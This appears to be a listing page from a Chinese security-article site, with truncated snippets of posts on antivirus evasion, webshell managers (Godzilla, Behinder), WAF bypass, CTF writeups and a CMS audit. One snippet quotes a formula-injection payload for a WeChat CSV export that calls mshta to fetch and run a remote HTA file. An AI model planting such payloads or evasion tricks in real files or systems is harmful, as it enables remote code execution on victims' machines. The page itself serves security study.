声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！号外：放假了！春节前最后一篇，还有十来篇，年后继续更...部分写好的(1-...
05月15日22 views评论bypass
payload
远控免杀专题(20)-GreatSCT免杀(VT免杀率14/56)
05月15日22 views评论bypass
payload
05月15日22 views评论bypass
payload
【安卓渗透测试系列教程第三篇】安卓应用自动化面纱
欢迎回来，我的新手黑客之前两期讲了如何使用msfvenom生成安卓有效载荷和如何利用获取到的meterpreter会话进行渗透攻击，今天来看一下如何对msfvenom生成的Payload进行免杀处理，...
05月15日35 views评论payload
渗透测试
红队武器库丨哥斯拉！Godzilla 教程来袭！
（点击图片查看视频教程）哥斯拉文末获取工具下载链接Godzilla（哥斯拉）是继菜刀、蚁剑、冰蝎之后具有更多优点的Webshell管理工具，由java语言开发，如名称一样，它的使用表现堪称“凶猛”。工...
05月15日138 views评论payload
哥斯拉
关于微信csv导出漏洞
先看图网传payload：=mshta|'http:\ceye.io1.hta'!A0图片说的用户名改成以上payload，测试了一下是可以改的，但是长度有限制，下图多加了1个字符就是极限了，实战中基...
05月15日54 views评论csv
payload
WAF绕过-寻找不同绕狗姿势
由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！全网-WAF专题(一)开学 每一天1、【导读】500+WAF案例总结（一）2、【思路速成】快速融入实战环境3、【免费】技术共享原则，持续免费更...
05月13日54 views评论payload
编码
【WAF绕过-打狗姿势(一)】鉴狗-寻找不同打狗姿势
全网-WAF专题(一)开学 每一天1、【导读】500+WAF案例总结（一）2、【思路速成】快速融入实战环境3、【免费】技术共享原则，持续免费更新4、【遵守版权】对于创作好的思路，后台发送"打狗"，获取...
05月11日39 views评论payload
编码
冰蝎v4.0传输协议详解
前言传输协议工作流程实例演示本地远程本地远程加密算法解密算法即时验证本地验证远程验证生成服务端分享和导入总结前言冰蝎v4.0相对于3.0版本，更新了较多内容，其中包括了开放了传输协议的自定义功能，本文...
05月11日195 views冰蝎v4.0传输协议详解已关闭评论payload
加密
D3CTF 2023 Writeup- Polaris战队
本次 D3CTF 2023，我们Polaris战队排名第22WEBEscape Planimport requestsimport base64# 数字和关键字通过unicode来绕过u = '𝟢𝟣𝟤...
05月11日86 views评论payload
合约
【Java项目审计】OFCMS系统漏洞审计
一、项目环境搭建使用OFCMSV1.1.2搭建项目环境：1、使用idea打开项目，配置Tomcat和Deployment2、启动tomcat，进入以下页面，点击下一步3、输入本机数据库的信息，点击下一...
05月11日36 views评论payload
xss
TOP 所有 bugbounty 渗透测试 CVE-2023- POC Exp RCE 示例 payload Things
2023年前总302022年总前30名2021年总前30名2020年总榜前30名2019年度总前30名2018年度总前30名2017年总前30名2016年总前30名2015年总前30名2014年总前3...
05月10日安全文章83 views评论rce
渗透测试
2022 西湖论剑·中国杭州网络安全技能大赛 WriteUp
扫码领资料获网安教程免费&进群引言看起来这是 农历兔年到来的第一场 CTF 比赛祝大家新年快乐，兔年大吉，前兔似锦，大展宏兔！西湖论剑·2022中国杭州网络安全技能大赛全日制高校在校生（含研究...
05月10日58 views评论payload
writeup
最新版安全狗注入绕过方法 | 干货
90